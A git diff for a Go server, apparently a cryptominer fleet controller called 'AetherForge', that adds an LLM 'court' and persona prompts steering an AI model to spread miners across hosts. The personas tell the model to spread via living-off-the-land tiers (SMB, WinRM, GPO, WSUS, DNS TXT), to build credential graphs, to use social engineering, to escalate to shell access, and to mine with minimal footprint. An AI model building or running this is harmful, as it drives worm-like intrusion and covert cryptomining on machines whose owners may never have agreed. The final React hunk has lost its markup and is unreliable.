diff --git a/server/internal/ai/court_prompt.go b/server/internal/ai/court_prompt.go new file mode 100644 index 0000000..1d16415 --- /dev/null +++ b/server/internal/ai/court_prompt.go @@ -0,0 +1,227 @@ +package ai + +import ( + "encoding/json" + "fmt" + "strings" + + "crypto-miner-server/internal/strategy" +) + +// CourtContext supplies failure atlas and phenotype data for stuck-host tribunals. +type CourtContext interface { + FailureAtlasSummary(fingerprintKey, goos string) string + BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) +} + +// CourtPromptBundle is the single-turn court prompt with role snippets for audit/UI. +type CourtPromptBundle struct { + SystemPrompt string + UserPrompt string + ProsecutorSnippet string + DefenderSnippet string +} + +// CourtDecisionMeta is persisted alongside a court-session decision. +type CourtDecisionMeta struct { + CourtSession bool + ProsecutorSnippet string + DefenderSnippet string + JudgeVerdict string +} + +// ShouldUseCourt returns true when the host is stuck or all spread tiers failed. +func ShouldUseCourt(s AgentSnapshot) bool { + return s.Stuck || AllSpreadTiersFailed(s) +} + +// AllSpreadTiersFailed is true when every default spread tier was attempted and none succeeded. +func AllSpreadTiersFailed(s AgentSnapshot) bool { + attemptByTier := map[string]TierAttempt{} + for _, a := range s.LOTLAttempts { + attemptByTier[a.Tier] = a + } + attempted := 0 + for _, tier := range defaultSpreadTiers { + a, ok := attemptByTier[tier] + if !ok { + return false + } + attempted++ + if a.OK { + return false + } + } + return attempted == len(defaultSpreadTiers) +} + +// BuildCourtPrompt renders the singular machine court single-turn prompt. +func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.FleetPhenotype, persona string) CourtPromptBundle { + prosecutor := buildProsecutorSection(s, atlasSummary) + defender := buildDefenderSection(phenotype) + + var system strings.Builder + system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts. +This is a single-turn tribunal with no memory. Three roles speak once: +PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides. +Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, stage_fetch, set_agent_version, noop. +Never target third-party systems.`)) + system.WriteString("\n\n## PROSECUTOR\n") + system.WriteString(prosecutor) + system.WriteString("\n\n## DEFENDER\n") + system.WriteString(defender) + + var user strings.Builder + fmt.Fprintf(&user, "Agent under review: name=%q id=%s\n", s.Name, s.AgentID) + fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID) + fmt.Fprintf(&user, "Mining hashrate: %.2f H/s (stuck)\n", s.MiningHashrate) + if s.FingerprintKey != "" { + fmt.Fprintf(&user, "Fingerprint: %s\n", s.FingerprintKey) + } + user.WriteString("\n## JUDGE\n") + user.WriteString(CourtJudgeOverlay(persona)) + user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n") + user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n") + user.WriteString("Example:\nVerdict: restart mining chain after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}\n") + + return CourtPromptBundle{ + SystemPrompt: system.String(), + UserPrompt: user.String(), + ProsecutorSnippet: prosecutor, + DefenderSnippet: defender, + } +} + +func buildProsecutorSection(s AgentSnapshot, atlasSummary string) string { + var b strings.Builder + b.WriteString("Charges: host is stuck with zero hashrate after exhausting spread/mining options.\n") + if strings.TrimSpace(atlasSummary) != "" { + fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(atlasSummary)) + } + failed, total := countSpreadFailures(s) + if total > 0 { + fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total) + } else { + b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n") + } + b.WriteString("Per-tier spread attempts:\n") + attemptByTier := map[string]TierAttempt{} + for _, a := range s.LOTLAttempts { + attemptByTier[a.Tier] = a + } + for _, tier := range defaultSpreadTiers { + if a, ok := attemptByTier[tier]; ok { + status := "fail" + if a.OK { + status = "ok" + } + if a.Error != "" { + fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error) + } else { + fmt.Fprintf(&b, " - %s: %s\n", tier, status) + } + } + } + if s.ChainExhausted { + b.WriteString("Mining chain exhausted: true\n") + } + return strings.TrimSpace(b.String()) +} + +func buildDefenderSection(phenotype *strategy.FleetPhenotype) string { + if phenotype == nil { + return "No matching FleetPhenotype on record for this fingerprint. Counsel cannot cite a peer success path." + } + var b strings.Builder + name := phenotype.SourceAgentName + if name == "" { + name = phenotype.SourceAgentID + } + fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint) + if phenotype.ActiveTier != "" { + fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate) + } + if phenotype.SpreadLane != "" { + fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane) + } + if len(phenotype.TierOrder) > 0 { + fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → ")) + } + if raw, err := json.Marshal(phenotype); err == nil { + fmt.Fprintf(&b, "Phenotype JSON: %s", string(raw)) + } + return strings.TrimSpace(b.String()) +} + +func countSpreadFailures(s AgentSnapshot) (failed, total int) { + attemptByTier := map[string]TierAttempt{} + for _, a := range s.LOTLAttempts { + attemptByTier[a.Tier] = a + } + for _, tier := range defaultSpreadTiers { + if a, ok := attemptByTier[tier]; ok { + total++ + if !a.OK { + failed++ + } + } + } + return failed, total +} + +// ExtractJudgeVerdict pulls the one-line verdict preceding the commands JSON. +func ExtractJudgeVerdict(raw string) string { + raw = strings.TrimSpace(raw) + if raw == "" { + return "" + } + if idx := strings.Index(raw, "{"); idx > 0 { + line := strings.TrimSpace(raw[:idx]) + return trimVerdictPrefix(line) + } + for _, line := range strings.Split(raw, "\n") { + line = strings.TrimSpace(line) + if line == "" || strings.HasPrefix(line, "{") { + continue + } + return trimVerdictPrefix(line) + } + return "" +} + +func trimVerdictPrefix(line string) string { + line = strings.TrimSpace(line) + for _, prefix := range []string{"Verdict:", "VERDICT:", "Judge:", "JUDGE:"} { + if strings.HasPrefix(line, prefix) { + return strings.TrimSpace(line[len(prefix):]) + } + } + return line +} + +// ComputeStuck mirrors agent stuck detection from snapshot telemetry. +func ComputeStuck(s AgentSnapshot) bool { + if s.Stuck { + return true + } + if s.MiningHashrate > 0 { + return false + } + if s.ChainExhausted { + return true + } + attemptByTier := map[string]TierAttempt{} + for _, a := range s.LOTLAttempts { + attemptByTier[a.Tier] = a + } + attempted := 0 + for _, tier := range defaultSpreadTiers { + if a, ok := attemptByTier[tier]; ok { + attempted++ + if a.OK { + return false + } + } + } + return attempted > 0 && attempted == len(defaultSpreadTiers) +} diff --git a/server/internal/ai/court_prompt_test.go b/server/internal/ai/court_prompt_test.go new file mode 100644 index 0000000..99b9414 --- /dev/null +++ b/server/internal/ai/court_prompt_test.go @@ -0,0 +1,144 @@ +package ai + +import ( + "context" + "strings" + "testing" + "time" + + "crypto-miner-server/internal/strategy" +) + +type mockCourt struct { + atlas string + phenotype *strategy.FleetPhenotype +} + +func (m *mockCourt) FailureAtlasSummary(_, _ string) string { return m.atlas } +func (m *mockCourt) BestPhenotype(_, _ string) (*strategy.FleetPhenotype, bool) { + if m.phenotype == nil { + return nil, false + } + return m.phenotype, true +} + +func stuckSpreadAttempts() []TierAttempt { + attempts := make([]TierAttempt, 0, len(defaultSpreadTiers)) + for _, tier := range defaultSpreadTiers { + attempts = append(attempts, TierAttempt{Tier: tier, OK: false, Error: "blocked"}) + } + return attempts +} + +func TestBuildCourtPromptProsecutorFailures(t *testing.T) { + snap := AgentSnapshot{ + AgentID: "agent-stuck", + Name: "stuck-host", + GOOS: "windows", + MiningHashrate: 0, + Stuck: true, + ChainExhausted: true, + LOTLAttempts: stuckSpreadAttempts(), + } + bundle := BuildCourtPrompt(snap, "docker 8/8 failed (100%)", nil, PersonaBalanced) + if !strings.Contains(bundle.SystemPrompt, "## PROSECUTOR") { + t.Fatal("expected prosecutor section in system prompt") + } + if !strings.Contains(bundle.ProsecutorSnippet, "14/14 failed") { + t.Fatalf("prosecutor missing failure count: %s", bundle.ProsecutorSnippet) + } + if !strings.Contains(bundle.ProsecutorSnippet, "Failure atlas: docker 8/8 failed") { + t.Fatalf("prosecutor missing atlas: %s", bundle.ProsecutorSnippet) + } +} + +func TestBuildCourtPromptDefenderPhenotype(t *testing.T) { + phenotype := &strategy.FleetPhenotype{ + Fingerprint: "windows|1|0|1|0|0|10.0.0", + SourceAgentID: "agent-ok", + SourceAgentName: "agent-ok", + ActiveTier: "container", + PeakHashrate: 1500, + TierOrder: []string{"container", "inprocess"}, + } + snap := AgentSnapshot{ + AgentID: "agent-stuck", + Stuck: true, + LOTLAttempts: []TierAttempt{ + {Tier: "docker", OK: false, Error: "denied"}, + }, + } + bundle := BuildCourtPrompt(snap, "", phenotype, PersonaPersuasive) + if !strings.Contains(bundle.DefenderSnippet, "Fleet phenotype from agent-ok") { + t.Fatalf("defender missing phenotype: %s", bundle.DefenderSnippet) + } + if !strings.Contains(bundle.DefenderSnippet, "Winning tier: container") { + t.Fatalf("defender missing winning tier: %s", bundle.DefenderSnippet) + } + if !strings.Contains(bundle.SystemPrompt, "## DEFENDER") { + t.Fatal("expected defender section in system prompt") + } +} + +func TestParseCommandsFromCourtResponse(t *testing.T) { + raw := "Verdict: restart mining after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}},{\"type\":\"noop\",\"args\":{}}]}" + verdict := ExtractJudgeVerdict(raw) + if !strings.Contains(verdict, "restart mining") { + t.Fatalf("verdict: %q", verdict) + } + cmds := ParseCommands(raw) + if len(cmds) != 2 || cmds[0].Type != CmdRestartMining { + t.Fatalf("cmds: %+v", cmds) + } +} + +func TestShouldUseCourtStuckOrAllFailed(t *testing.T) { + if !ShouldUseCourt(AgentSnapshot{Stuck: true}) { + t.Fatal("expected court for stuck") + } + snap := AgentSnapshot{LOTLAttempts: stuckSpreadAttempts()} + if !ShouldUseCourt(snap) { + t.Fatal("expected court when all spread tiers failed") + } + if ShouldUseCourt(AgentSnapshot{LOTLAttempts: []TierAttempt{{Tier: "docker", OK: true}}}) { + t.Fatal("expected mission prompt when a tier succeeded") + } +} + +func TestSchedulerUsesCourtWhenStuck(t *testing.T) { + old := DecideFunc + defer func() { DecideFunc = old }() + var gotSystem, gotUser string + DecideFunc = func(_ context.Context, _, _, systemPrompt, userPrompt string) (string, error) { + gotSystem = systemPrompt + gotUser = userPrompt + return "Verdict: noop.\n{\"commands\":[{\"type\":\"noop\",\"args\":{}}]}", nil + } + + exec := &mockExec{} + store := &mockStore{} + court := &mockCourt{atlas: "wsl 5/5 failed (100%)"} + sched := NewScheduler( + &mockCfg{cfg: Config{Enabled: true, Endpoint: "http://test/v1", IntervalSec: 1}}, + &mockSnap{ + ids: []string{"agent-1"}, + snap: AgentSnapshot{ + AgentID: "agent-1", Name: "host", Stuck: true, + LOTLAttempts: stuckSpreadAttempts(), + }, + }, + exec, + store, + court, + nil, + ) + sched.lastRun["agent-1"] = time.Now().Add(-2 * time.Minute) + sched.Tick() + + if !strings.Contains(gotSystem, "## PROSECUTOR") { + t.Fatalf("expected court system prompt, got: %s", gotSystem) + } + if !strings.Contains(gotUser, "## JUDGE") { + t.Fatalf("expected judge user prompt, got: %s", gotUser) + } +} diff --git a/server/internal/ai/personas.go b/server/internal/ai/personas.go new file mode 100644 index 0000000..dc68950 --- /dev/null +++ b/server/internal/ai/personas.go @@ -0,0 +1,85 @@ +package ai + +import "strings" + +const ( + PersonaAggressive = "aggressive" + PersonaSilent = "silent" + PersonaPassive = "passive" + PersonaPersuasive = "persuasive" + PersonaBalanced = "balanced" +) + +// NormalizePersona maps aliases and unknown values to a valid persona id. +func NormalizePersona(mode string) string { + switch strings.ToLower(strings.TrimSpace(mode)) { + case PersonaAggressive: + return PersonaAggressive + case PersonaSilent: + return PersonaSilent + case PersonaPassive: + return PersonaPassive + case PersonaPersuasive: + return PersonaPersuasive + case PersonaBalanced, "": + return PersonaBalanced + default: + return PersonaBalanced + } +} + +// PersonaSystemPrompt returns the full fleet AI system prompt for the given Calibrate persona. +func PersonaSystemPrompt(mode string) string { + base := SystemPrompt() + overlay := personaMissionOverlay(NormalizePersona(mode)) + if overlay == "" { + return base + } + return strings.TrimSpace(base + "\n\n" + overlay) +} + +func personaMissionOverlay(mode string) string { + switch mode { + case PersonaAggressive: + return strings.TrimSpace(`PERSONA: Aggressive — maximize fleet reach and hashrate on operator-owned hosts. +Prioritize spread_now and discover_and_join on every cycle where probes allow. Retry failed tiers quickly; reorder_tiers to push high-yield lanes first. +Request L4 clearance when stuck after tier exhaustion — escalate agent_command shell probes without waiting. +Take every spread + mine opportunity; noisy retries are acceptable on your machines.`) + case PersonaSilent: + return strings.TrimSpace(`PERSONA: Silent — mine quietly with minimal footprint. +Focus on restart_mining and in-process/container tiers. Never spread_now unless stuck after all 14 tiers failed. +Prefer container/wsl/docker isolated tiers over smb/winrm/gpo. Avoid agent_command shell unless clearance is already L3+ and hashrate=0. +No bulk_command unless a single agent is critically stuck.`) + case PersonaPassive: + return strings.TrimSpace(`PERSONA: Passive — observe and report; intervene only when mining is dead. +Default to noop unless Mining hashrate=0 for ~10 minutes equivalent (chain exhausted or repeated zero reads). +When intervening, prefer gentle restart_mining over spread_now. Never reorder_tiers aggressively. +Do not request clearance elevation; avoid discover_and_join unless operator fleet would otherwise stay at zero H/s.`) + case PersonaPersuasive: + return strings.TrimSpace(`PERSONA: Persuasive — spread-first social engineering on owned fleet nodes. +Attempt discover_and_join before restart_mining; build credential graph via service probes and join lanes. +Use spread_now to stage peers, then sell mining as fleet health — restart_mining only after join lanes succeed or exhaust. +Prefer reorder_tiers that front dns_txt, wsus_cache_peer, do_peer, and webrtc_mesh before brute-force mining restarts.`) + default: // balanced + return strings.TrimSpace(`PERSONA: Balanced — default mission behavior. +Balance spread vs mine: try pending LOTL tiers when hashrate is low, restart_mining when chain exhausted, noop when healthy. +Use clearance-aware agent_command only when stuck; discover_and_join when join lanes are available. +Respond with short JSON commands; never target third-party systems.`) + } +} + +// CourtJudgeOverlay appends persona-specific guidance to the court JUDGE section. +func CourtJudgeOverlay(mode string) string { + switch NormalizePersona(mode) { + case PersonaAggressive: + return "Judge: favor spread_now, discover_and_join, or L4 shell recovery — aggressive recovery on operator hosts.\n" + case PersonaSilent: + return "Judge: favor restart_mining or isolated-tier spread only; avoid shell unless all tiers failed.\n" + case PersonaPassive: + return "Judge: prefer noop or a single gentle restart_mining; avoid spread unless hashrate=0 with exhausted chain.\n" + case PersonaPersuasive: + return "Judge: favor discover_and_join and spread_now before restart_mining; cite fleet health in verdict.\n" + default: + return "Judge: weigh prosecutor failures against defender phenotype; pick the least disruptive recovery.\n" + } +} diff --git a/server/internal/ai/personas_test.go b/server/internal/ai/personas_test.go new file mode 100644 index 0000000..224d8b1 --- /dev/null +++ b/server/internal/ai/personas_test.go @@ -0,0 +1,67 @@ +package ai + +import ( + "strings" + "testing" +) + +func TestPersonaSystemPromptNonEmptyDistinct(t *testing.T) { + modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced} + seen := make(map[string]string, len(modes)) + for _, mode := range modes { + prompt := PersonaSystemPrompt(mode) + if strings.TrimSpace(prompt) == "" { + t.Fatalf("persona %q returned empty prompt", mode) + } + if !strings.Contains(prompt, "AetherForge fleet controller") { + t.Fatalf("persona %q missing base system prompt", mode) + } + if prev, ok := seen[prompt]; ok { + t.Fatalf("personas %q and %q produced identical prompts", prev, mode) + } + seen[prompt] = mode + } +} + +func TestPersonaSystemPromptModeSpecificGuidance(t *testing.T) { + cases := []struct { + mode string + needle string + }{ + {PersonaAggressive, "spread_now and discover_and_join"}, + {PersonaSilent, "Never spread_now unless stuck"}, + {PersonaPassive, "Default to noop"}, + {PersonaPersuasive, "discover_and_join before restart_mining"}, + {PersonaBalanced, "Balance spread vs mine"}, + } + for _, tc := range cases { + prompt := PersonaSystemPrompt(tc.mode) + if !strings.Contains(prompt, tc.needle) { + t.Fatalf("persona %q missing %q in:\n%s", tc.mode, tc.needle, prompt) + } + } +} + +func TestNormalizePersona(t *testing.T) { + if got := NormalizePersona(" AGGRESSIVE "); got != PersonaAggressive { + t.Fatalf("got %q", got) + } + if got := NormalizePersona("unknown"); got != PersonaBalanced { + t.Fatalf("unknown should map to balanced, got %q", got) + } +} + +func TestCourtJudgeOverlayDistinct(t *testing.T) { + modes := []string{PersonaAggressive, PersonaSilent, PersonaPassive, PersonaPersuasive, PersonaBalanced} + prev := "" + for _, mode := range modes { + overlay := CourtJudgeOverlay(mode) + if strings.TrimSpace(overlay) == "" { + t.Fatalf("empty overlay for %q", mode) + } + if overlay == prev && prev != "" { + t.Fatalf("duplicate court overlay for %q", mode) + } + prev = overlay + } +} diff --git a/server/web/src/components/CalibrationAIControl.tsx b/server/web/src/components/CalibrationAIControl.tsx index 52679e9..9d44050 100644 --- a/server/web/src/components/CalibrationAIControl.tsx +++ b/server/web/src/components/CalibrationAIControl.tsx @@ -3,6 +3,11 @@ import type { ServerSettings } from '../types'; import { api } from '../api/client'; import { HelpTip, FieldHint } from './HelpTip'; import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers'; +import { + AI_PERSONA_CHIPS, + DEFAULT_AI_PERSONA, + normalizeAIPersona, +} from '../help/aiPersonas'; export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1'; export const DEFAULT_AI_INTERVAL_SEC = 60; @@ -25,6 +30,7 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) { const endpoint = readEndpoint(server); const model = server.ai_model?.trim() || ''; const intervalSec = readIntervalSec(server); + const persona = normalizeAIPersona(server.ai_persona); const [models, setModels] = useState([]); const [refreshing, setRefreshing] = useState(false); @@ -87,6 +93,31 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) { your machines only. Complete fleet control stays on your LAN.

+
+ AI persona +
+ {AI_PERSONA_CHIPS.map((chip) => ( +
+ + +
+ ))} +
+ +
+